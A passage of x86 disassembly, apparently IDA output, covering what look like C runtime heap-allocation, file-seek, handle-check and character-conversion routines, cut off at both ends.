[ecx] jnz short loc_4173D4 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_4173D4 ; --------------------------------------------------------------------------- loc_4173B5: ; CODE XREF: sub_417314+85j add ecx, 0FFFFFFE0h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_4173D4 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_4173D4: ; CODE XREF: sub_417314+7Bj ; sub_417314+98j ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41749D mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi cmp edi, 3Fh lea ecx, [ecx+esi-4] jbe short loc_41740E push 3Fh pop edi loc_41740E: ; CODE XREF: sub_417314+F5j mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41748B mov cl, [edi+eax+4] mov byte ptr [ebp+arg_8+3], cl inc cl cmp edi, 20h mov [edi+eax+4], cl jnb short loc_417462 cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41745A mov ecx, edi mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41745A: ; CODE XREF: sub_417314+136j lea eax, [eax+edx*4+44h] mov ecx, edi jmp short loc_417482 ; --------------------------------------------------------------------------- loc_417462: ; CODE XREF: sub_417314+130j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_417478 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_417478: ; CODE XREF: sub_417314+152j lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] loc_417482: ; CODE XREF: sub_417314+14Cj mov edx, 80000000h shr edx, cl or [eax], edx loc_41748B: ; CODE XREF: sub_417314+11Ej mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_4174A0 ; --------------------------------------------------------------------------- loc_41749D: ; CODE XREF: sub_417314+DEj mov edx, [ebp+arg_4] loc_4174A0: ; CODE XREF: sub_417314+187j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_4175EB ; --------------------------------------------------------------------------- loc_4174AF: ; CODE XREF: sub_417314+50j ; sub_417314+5Aj xor eax, eax jmp loc_4175EE ; --------------------------------------------------------------------------- loc_4174B6: ; CODE XREF: sub_417314+47j jge loc_4175EB mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] sar esi, 4 dec esi cmp esi, 3Fh mov [ebp+arg_4], ebx mov [ebx-4], ecx jbe short loc_4174E1 push 3Fh pop esi loc_4174E1: ; CODE XREF: sub_417314+1C8j test byte ptr [ebp+var_4], 1 jnz loc_41756B mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_4174FA push 3Fh pop esi loc_4174FA: ; CODE XREF: sub_417314+1E1j mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_417544 cmp esi, 20h mov ebx, 80000000h jnb short loc_417525 mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_417541 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_417541 ; --------------------------------------------------------------------------- loc_417525: ; CODE XREF: sub_417314+1F6j lea ecx, [esi-20h] shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_417541 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_417541: ; CODE XREF: sub_417314+208j ; sub_417314+20Fj ... mov ebx, [ebp+arg_4] loc_417544: ; CODE XREF: sub_417314+1ECj mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov esi, [edi+8] mov ecx, [edi+4] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41756B push 3Fh pop esi loc_41756B: ; CODE XREF: sub_417314+1D1j ; sub_417314+252j mov ecx, [ebp+var_C] lea ecx, [ecx+esi*8] mov edi, [ecx+4] mov [ebx+8], ecx mov [ebx+4], edi mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_4175E2 mov cl, [esi+eax+4] mov byte ptr [ebp+arg_4+3], cl inc cl cmp esi, 20h mov [esi+eax+4], cl jnb short loc_4175B9 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_4175B1 mov ecx, esi mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_4175B1: ; CODE XREF: sub_417314+28Dj lea eax, [eax+edx*4+44h] mov ecx, esi jmp short loc_4175D9 ; --------------------------------------------------------------------------- loc_4175B9: ; CODE XREF: sub_417314+287j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_4175CF lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_4175CF: ; CODE XREF: sub_417314+2A9j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] loc_4175D9: ; CODE XREF: sub_417314+2A3j mov edx, 80000000h shr edx, cl or [eax], edx loc_4175E2: ; CODE XREF: sub_417314+275j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_4175EB: ; CODE XREF: sub_417314+196j ; sub_417314:loc_4174B6j xor eax, eax inc eax loc_4175EE: ; CODE XREF: sub_417314+19Dj pop edi pop esi pop ebx leave retn sub_417314 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4175F3 proc near ; CODE XREF: sub_41101A+28p ; sub_417D65+88p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_424EAC mov ecx, [ebp+arg_0] imul eax, 14h add eax, dword_424EB0 add ecx, 17h and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 push ebx dec ecx cmp ecx, 20h push esi push edi jge short loc_41762A or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh jmp short loc_417637 ; --------------------------------------------------------------------------- loc_41762A: ; CODE XREF: sub_4175F3+2Aj add ecx, 0FFFFFFE0h or edx, 0FFFFFFFFh xor esi, esi shr edx, cl mov [ebp+var_8], edx loc_417637: ; CODE XREF: sub_4175F3+35j mov ecx, dword_424EB8 mov ebx, ecx jmp short loc_417652 ; --------------------------------------------------------------------------- loc_417641: ; CODE XREF: sub_4175F3+64j mov edx, [ebx+4] mov edi, [ebx] and edx, [ebp+var_8] and edi, esi or edx, edi jnz short loc_417659 add ebx, 14h loc_417652: ; CODE XREF: sub_4175F3+4Cj cmp ebx, eax mov [ebp+arg_0], ebx jb short loc_417641 loc_417659: ; CODE XREF: sub_4175F3+5Aj cmp ebx, eax jnz short loc_4176DC mov ebx, dword_424EB0 jmp short loc_417676 ; --------------------------------------------------------------------------- loc_417665: ; CODE XREF: sub_4175F3+88j mov edx, [ebx+4] mov edi, [ebx] and edx, [ebp+var_8] and edi, esi or edx, edi jnz short loc_41767D add ebx, 14h loc_417676: ; CODE XREF: sub_4175F3+70j cmp ebx, ecx mov [ebp+arg_0], ebx jb short loc_417665 loc_41767D: ; CODE XREF: sub_4175F3+7Ej cmp ebx, ecx jnz short loc_4176DC jmp short loc_41768F ; --------------------------------------------------------------------------- loc_417683: ; CODE XREF: sub_4175F3+9Ej cmp dword ptr [ebx+8], 0 jnz short loc_417693 add ebx, 14h mov [ebp+arg_0], ebx loc_41768F: ; CODE XREF: sub_4175F3+8Ej cmp ebx, eax jb short loc_417683 loc_417693: ; CODE XREF: sub_4175F3+94j cmp ebx, eax jnz short loc_4176C8 mov ebx, dword_424EB0 jmp short loc_4176A8 ; --------------------------------------------------------------------------- loc_41769F: ; CODE XREF: sub_4175F3+BAj cmp dword ptr [ebx+8], 0 jnz short loc_4176AF add ebx, 14h loc_4176A8: ; CODE XREF: sub_4175F3+AAj cmp ebx, ecx mov [ebp+arg_0], ebx jb short loc_41769F loc_4176AF: ; CODE XREF: sub_4175F3+B0j cmp ebx, ecx jnz short loc_4176C8 call sub_41715E mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jnz short loc_4176C8 loc_4176C1: ; CODE XREF: sub_4175F3+E7j xor eax, eax jmp loc_4178D1 ; --------------------------------------------------------------------------- loc_4176C8: ; CODE XREF: sub_4175F3+A2j ; sub_4175F3+BEj ... push ebx call sub_41720E pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_4176C1 loc_4176DC: ; CODE XREF: sub_4175F3+68j ; sub_4175F3+8Cj mov dword_424EB8, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_417703 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41772C loc_417703: ; CODE XREF: sub_4175F3+FAj and [ebp+var_4], 0 mov edx, [eax+0C4h] lea ecx, [eax+44h] loc_417710: ; CODE XREF: sub_4175F3+134j mov edi, [ecx] and edx, [ebp+var_8] and edi, esi or edx, edi jnz short loc_417729 inc [ebp+var_4] mov edx, [ecx+84h] add ecx, 4 jmp short loc_417710 ; --------------------------------------------------------------------------- loc_417729: ; CODE XREF: sub_4175F3+126j mov edx, [ebp+var_4] loc_41772C: ; CODE XREF: sub_4175F3+10Ej mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] xor edi, edi and ecx, esi jnz short loc_41775A mov ecx, [eax+edx*4+0C4h] and ecx, [ebp+var_8] push 20h pop edi jmp short loc_41775A ; --------------------------------------------------------------------------- loc_417757: ; CODE XREF: sub_4175F3+169j add ecx, ecx inc edi loc_41775A: ; CODE XREF: sub_4175F3+153j ; sub_4175F3+162j test ecx, ecx jge short loc_417757 mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx sar esi, 4 dec esi cmp esi, 3Fh mov [ebp+var_8], ecx jle short loc_41777B push 3Fh pop esi loc_41777B: ; CODE XREF: sub_4175F3+183j cmp esi, edi jz loc_417884 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_4177E7 cmp edi, 20h mov ebx, 80000000h jge short loc_4177BB mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_4177E4 mov ecx, [ebp+var_14] mov ebx, [ebp+arg_0] and [ebx], ecx jmp short loc_4177E7 ; --------------------------------------------------------------------------- loc_4177BB: ; CODE XREF: sub_4175F3+1A0j lea ecx, [edi-20h] shr ebx, cl mov ecx, [ebp+var_4] lea ecx, [eax+ecx*4+0C4h] lea edi, [eax+edi+4] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_4177E4 mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_4177E7 ; --------------------------------------------------------------------------- loc_4177E4: ; CODE XREF: sub_4175F3+1BCj ; sub_4175F3+1E4j mov ebx, [ebp+arg_0] loc_4177E7: ; CODE XREF: sub_4175F3+196j ; sub_4175F3+1C6j ... cmp [ebp+var_8], 0 mov ecx, [edx+8] mov edi, [edx+4] mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_417890 mov ecx, [ebp+var_C] lea ecx, [ecx+esi*8] mov edi, [ecx+4] mov [edx+8], ecx mov [edx+4], edi mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_417881 mov cl, [esi+eax+4] mov byte ptr [ebp+arg_0+3], cl inc cl cmp esi, 20h mov [esi+eax+4], cl jge short loc_417858 cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_417846 mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_417846: ; CODE XREF: sub_4175F3+246j mov ecx, esi mov edi, 80000000h shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_417881 ; --------------------------------------------------------------------------- loc_417858: ; CODE XREF: sub_4175F3+240j cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_41786B lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_41786B: ; CODE XREF: sub_4175F3+269j mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_417881: ; CODE XREF: sub_4175F3+22Ej ; sub_4175F3+263j mov ecx, [ebp+var_8] loc_417884: ; CODE XREF: sub_4175F3+18Aj test ecx, ecx jz short loc_417893 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_417893 ; --------------------------------------------------------------------------- loc_417890: ; CODE XREF: sub_4175F3+20Aj mov ecx, [ebp+var_8] loc_417893: ; CODE XREF: sub_4175F3+293j ; sub_4175F3+29Bj mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_4178C9 cmp ebx, dword_424D08 jnz short loc_4178C9 mov ecx, [ebp+var_4] cmp ecx, dword_424EC0 jnz short loc_4178C9 and dword_424D08, 0 loc_4178C9: ; CODE XREF: sub_4175F3+2BAj ; sub_4175F3+2C2j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_4178D1: ; CODE XREF: sub_4175F3+D0j pop edi pop esi pop ebx leave retn sub_4175F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4178D6 proc near ; CODE XREF: sub_41440F+DEp ; sub_417959+CDp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov [ebp+var_8], eax mov eax, [ebp+arg_8] push edi push esi mov [ebp+var_4], eax call sub_419E05 or edi, 0FFFFFFFFh cmp eax, edi pop ecx jnz short loc_41790B call sub_40F79E mov dword ptr [eax], 9 loc_417905: ; CODE XREF: sub_4178D6+5Ej mov eax, edi mov edx, edi jmp short loc_417955 ; --------------------------------------------------------------------------- loc_41790B: ; CODE XREF: sub_4178D6+22j push [ebp+arg_C] lea ecx, [ebp+var_4] push ecx push [ebp+var_8] push eax call dword_41C048 ; SetFilePointer cmp eax, edi mov [ebp+var_8], eax jnz short loc_417936 call dword_41C0A4 ; RtlGetLastWin32Error test eax, eax jz short loc_417936 push eax call sub_40F7C4 pop ecx jmp short loc_417905 ; --------------------------------------------------------------------------- loc_417936: ; CODE XREF: sub_4178D6+4Bj ; sub_4178D6+55j mov eax, esi and esi, 1Fh imul esi, 28h sar eax, 5 mov eax, dword_424EE0[eax*4] lea eax, [eax+esi+4] and byte ptr [eax], 0FDh mov eax, [ebp+var_8] mov edx, [ebp+var_4] loc_417955: ; CODE XREF: sub_4178D6+33j pop edi pop esi leave retn sub_4178D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417959 proc near ; CODE XREF: sub_4111BA+116p var_24 = dword ptr -24h var_20 = dword ptr -20h ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push 14h push offset dword_41FCF8 call __SEH_prolog4 or esi, 0FFFFFFFFh mov [ebp+var_24], esi mov [ebp+var_20], esi mov eax, [ebp+arg_0] cmp eax, 0FFFFFFFEh jnz short loc_417992 call sub_40F7B1 and dword ptr [eax], 0 call sub_40F79E mov dword ptr [eax], 9 loc_417989: ; CODE XREF: sub_417959+66j mov eax, esi mov edx, esi jmp loc_417A62 ; --------------------------------------------------------------------------- loc_417992: ; CODE XREF: sub_417959+1Bj xor edi, edi cmp eax, edi jl short loc_4179A0 cmp eax, dword_424EC8 jb short loc_4179C1 loc_4179A0: ; CODE XREF: sub_417959+3Dj call sub_40F7B1 mov [eax], edi call sub_40F79E mov dword ptr [eax], 9 push edi push edi push edi push edi push edi call sub_40DCD8 add esp, 14h jmp short loc_417989 ; --------------------------------------------------------------------------- loc_4179C1: ; CODE XREF: sub_417959+45j mov ecx, eax sar ecx, 5 lea ebx, ds:424EE0h[ecx*4] mov esi, eax and esi, 1Fh imul esi, 28h mov ecx, [ebx] movzx ecx, byte ptr [ecx+esi+4] and ecx, 1 jnz short loc_417A07 call sub_40F7B1 mov [eax], edi call sub_40F79E mov dword ptr [eax], 9 push edi push edi push edi push edi push edi call sub_40DCD8 add esp, 14h or edx, 0FFFFFFFFh mov eax, edx jmp short loc_417A62 ; --------------------------------------------------------------------------- loc_417A07: ; CODE XREF: sub_417959+86j push eax call sub_419E76 pop ecx mov [ebp+ms_exc.disabled], edi mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_417A36 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4178D6 add esp, 10h mov [ebp+var_24], eax mov [ebp+var_20], edx jmp short loc_417A50 ; --------------------------------------------------------------------------- loc_417A36: ; CODE XREF: sub_417959+BFj call sub_40F79E mov dword ptr [eax], 9 call sub_40F7B1 mov [eax], edi or [ebp+var_24], 0FFFFFFFFh or [ebp+var_20], 0FFFFFFFFh loc_417A50: ; CODE XREF: sub_417959+DBj mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_417A68 mov eax, [ebp+var_24] mov edx, [ebp+var_20] loc_417A62: ; CODE XREF: sub_417959+34j ; sub_417959+ACj call __SEH_epilog4 retn sub_417959 endp ; =============== S U B R O U T I N E ======================================= sub_417A68 proc near ; CODE XREF: sub_417959+FEp ; DATA XREF: .vty:0041FD10o push dword ptr [ebp+8] call sub_419F16 pop ecx retn sub_417A68 endp ; =============== S U B R O U T I N E ======================================= sub_417A72 proc near ; CODE XREF: sub_4111BA+9Cp arg_0 = dword ptr 4 inc dword_42444C push 1000h call sub_412323 test eax, eax pop ecx mov ecx, [esp+arg_0] mov [ecx+8], eax jz short loc_417A9B or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_417AAC ; --------------------------------------------------------------------------- loc_417A9B: ; CODE XREF: sub_417A72+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_417AAC: ; CODE XREF: sub_417A72+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_417A72 endp ; =============== S U B R O U T I N E ======================================= sub_417AB6 proc near ; CODE XREF: sub_4111BA+91p ; sub_41440F+E7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 0FFFFFFFEh jnz short loc_417ACD call sub_40F79E mov dword ptr [eax], 9 xor eax, eax retn ; --------------------------------------------------------------------------- loc_417ACD: ; CODE XREF: sub_417AB6+7j push esi xor esi, esi cmp eax, esi jl short loc_417ADC cmp eax, dword_424EC8 jb short loc_417AF8 loc_417ADC: ; CODE XREF: sub_417AB6+1Cj call sub_40F79E push esi push esi push esi push esi push esi mov dword ptr [eax], 9 call sub_40DCD8 add esp, 14h xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_417AF8: ; CODE XREF: sub_417AB6+24j mov ecx, eax and eax, 1Fh imul eax, 28h sar ecx, 5 mov ecx, dword_424EE0[ecx*4] movzx eax, byte ptr [ecx+eax+4] and eax, 40h pop esi retn sub_417AB6 endp ; =============== S U B R O U T I N E ======================================= sub_417B14 proc near ; CODE XREF: sub_4125B5:loc_4125D8p push esi push edi xor edi, edi loc_417B18: ; CODE XREF: sub_417B14+1Aj lea esi, dword_423DE0[edi] push dword ptr [esi] call sub_411D53 add edi, 4 cmp edi, 28h pop ecx mov [esi], eax jb short loc_417B18 pop edi pop esi retn sub_417B14 endp ; =============== S U B R O U T I N E ======================================= sub_417B33 proc near ; CODE XREF: sub_4113BB+554p mov eax, dword_4231C4 or eax, 1 xor ecx, ecx cmp dword_424D10, eax setz cl mov eax, ecx retn sub_417B33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417B49 proc near ; CODE XREF: sub_417CA8+12p var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = word ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 10h push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx push edi mov edi, [ebp+arg_8] jnz short loc_417B6F cmp edi, ebx jbe short loc_417B6F mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_417B6B mov [eax], ebx loc_417B6B: ; CODE XREF: sub_417B49+1Ej ; sub_417B49+ECj ... xor eax, eax jmp short loc_417BEE ; --------------------------------------------------------------------------- loc_417B6F: ; CODE XREF: sub_417B49+13j ; sub_417B49+17j mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_417B79 or dword ptr [eax], 0FFFFFFFFh loc_417B79: ; CODE XREF: sub_417B49+2Bj cmp edi, 7FFFFFFFh jbe short loc_417B9C call sub_40F79E push 16h pop esi push ebx push ebx push ebx push ebx push ebx mov [eax], esi call sub_40DCD8 add esp, 14h loc_417B98: ; CODE XREF: sub_417B49+CCj ; sub_417B49+D5j mov eax, esi jmp short loc_417BEE ; --------------------------------------------------------------------------- loc_417B9C: ; CODE XREF: sub_417B49+36j push [ebp+arg_10] lea ecx, [ebp+var_10] call sub_40F7E2 mov eax, [ebp+var_10] cmp [eax+14h], ebx jnz loc_417C47 mov ax, [ebp+arg_C] cmp ax, 0FFh jbe short loc_417BF3 cmp esi, ebx jz short loc_417BD0 cmp edi, ebx jbe short loc_417BD0 push edi push ebx push esi call sub_40DD10 add esp, 0Ch loc_417BD0: ; CODE XREF: sub_417B49+76j ; sub_417B49+7Aj ... call sub_40F79E mov dword ptr [eax], 2Ah call sub_40F79E cmp [ebp+var_4], bl mov eax, [eax] jz short loc_417BEE mov ecx, [ebp+var_8] and dword ptr [ecx+70h], 0FFFFFFFDh loc_417BEE: ; CODE XREF: sub_417B49+24j ; sub_417B49+51j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_417BF3: ; CODE XREF: sub_417B49+72j cmp esi, ebx jz short loc_417C25 cmp edi, ebx ja short loc_417C23 loc_417BFB: ; CODE XREF: sub_417B49+141j ; sub_417B49+149j ... call sub_40F79E push 22h pop esi push ebx push ebx push ebx push ebx push ebx mov [eax], esi call sub_40DCD8 add esp, 14h cmp [ebp+var_4], bl jz short loc_417B98 mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh jmp loc_417B98 ; --------------------------------------------------------------------------- loc_417C23: ; CODE XREF: sub_417B49+B0j mov [esi], al loc_417C25: ; CODE XREF: sub_417B49+ACj mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_417C32 mov dword ptr [eax], 1 loc_417C32: ; CODE XREF: sub_417B49+E1j ; sub_417B49+12Aj ... cmp [ebp+var_4], bl jz loc_417B6B mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh jmp loc_417B6B ; --------------------------------------------------------------------------- loc_417C47: ; CODE XREF: sub_417B49+64j lea ecx, [ebp+arg_4] push ecx push ebx push edi push esi push 1 lea ecx, [ebp+arg_C] push ecx push ebx mov [ebp+arg_4], ebx push dword ptr [eax+4] call dword_41C170 ; WideCharToMultiByte cmp eax, ebx jz short loc_417C79 cmp [ebp+arg_4], ebx jnz loc_417BD0 mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_417C32 mov [ecx], eax jmp short loc_417C32 ; --------------------------------------------------------------------------- loc_417C79: ; CODE XREF: sub_417B49+11Aj call dword_41C0A4 ; RtlGetLastWin32Error cmp eax, 7Ah jnz loc_417BD0 cmp esi, ebx jz loc_417BFB cmp edi, ebx jbe loc_417BFB push edi push ebx push esi call sub_40DD10 add esp, 0Ch jmp loc_417BFB sub_417B49 endp ; =============== S U B R O U T I N E ======================================= sub_417CA8 proc near ; CODE XREF: sub_4113BB+487p ; sub_4113BB+8B1p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push 0 push [esp+4+arg_C] push [esp+8+arg_8] push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_417B49 add esp, 14h retn sub_417CA8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417CD0 proc near ; CODE XREF: sub_4113BB+786p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi mov eax, [esp+4+arg_C] or eax, eax jnz short loc_417D01 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+4+arg_0] div ecx mov esi, eax mov eax, ebx mul [esp+4+arg_8] mov ecx, eax mov eax, esi mul [esp+4+arg_8] add edx, ecx jmp short loc_417D48 ; --------------------------------------------------------------------------- loc_417D01: ; CODE XREF: sub_417CD0+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_417D0F: ; CODE XREF: sub_417CD0+49j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_417D0F div ebx mov esi, eax mul [esp+4+arg_C] mov ecx, eax mov eax, [esp+4+arg_8] mul esi add edx, ecx jb short loc_417D3D cmp edx, [esp+4+arg_4] ja short loc_417D3D jb short loc_417D46 cmp eax, [esp+4+arg_0] jbe short loc_417D46 loc_417D3D: ; CODE XREF: sub_417CD0+5Dj ; sub_417CD0+63j dec esi sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_417D46: ; CODE XREF: sub_417CD0+65j ; sub_417CD0+6Bj xor ebx, ebx loc_417D48: ; CODE XREF: sub_417CD0+2Fj sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 mov ecx, edx mov edx, ebx mov ebx, ecx mov ecx, eax mov eax, esi pop esi retn 10h sub_417CD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417D65 proc near ; CODE XREF: sub_412363+Ep var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h ; FUNCTION CHUNK AT 00417E6A SIZE 00000019 BYTES push 0Ch push offset dword_41FD18 call __SEH_prolog4 mov ecx, [ebp+arg_0] xor edi, edi cmp ecx, edi jbe short loc_417DA8 push 0FFFFFFE0h pop eax xor edx, edx div ecx cmp eax, [ebp+arg_4] sbb eax, eax inc eax jnz short loc_417DA8 call sub_40F79E mov dword ptr [eax], 0Ch push edi push edi push edi push edi push edi call sub_40DCD8 add esp, 14h loc_417DA1: ; CODE XREF: sub_417D65+E6j ; sub_417D65+F2j xor eax, eax jmp loc_417E7D ; --------------------------------------------------------------------------- loc_417DA8: ; CODE XREF: sub_417D65+13j ; sub_417D65+22j imul ecx, [ebp+arg_4] mov esi, ecx mov [ebp+arg_0], esi cmp esi, edi jnz short loc_417DB8 xor esi, esi inc esi loc_417DB8: ; CODE XREF: sub_417D65+4Ej ; sub_417D65+DBj xor ebx, ebx mov [ebp+var_1C], ebx cmp esi, 0FFFFFFE0h ja short loc_417E2B cmp dword_424EC4, 3 jnz short loc_417E16 add esi, 0Fh and esi, 0FFFFFFF0h mov [ebp+arg_4], esi mov eax, [ebp+arg_0] cmp eax, dword_424EB4 ja short loc_417E16 push 4 call sub_416DA6 pop ecx mov [ebp+ms_exc.disabled], edi push [ebp+arg_0] call sub_4175F3 pop ecx mov [ebp+var_1C], eax mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_417E61 mov ebx, [ebp+var_1C] cmp ebx, edi jz short loc_417E1A push [ebp+arg_0] push edi push ebx call sub_40DD10 add esp, 0Ch loc_417E16: ; CODE XREF: sub_417D65+64j ; sub_417D65+78j cmp ebx, edi jnz short loc_417E7B loc_417E1A: ; CODE XREF: sub_417D65+A2j push esi push 8 push dword_42487C call dword_41C130 ; RtlAllocateHeap mov ebx, eax loc_417E2B: ; CODE XREF: sub_417D65+5Bj cmp ebx, edi jnz short loc_417E7B cmp dword_424D0C, edi jz short loc_417E6A push esi call sub_412B12 pop ecx test eax, eax jnz 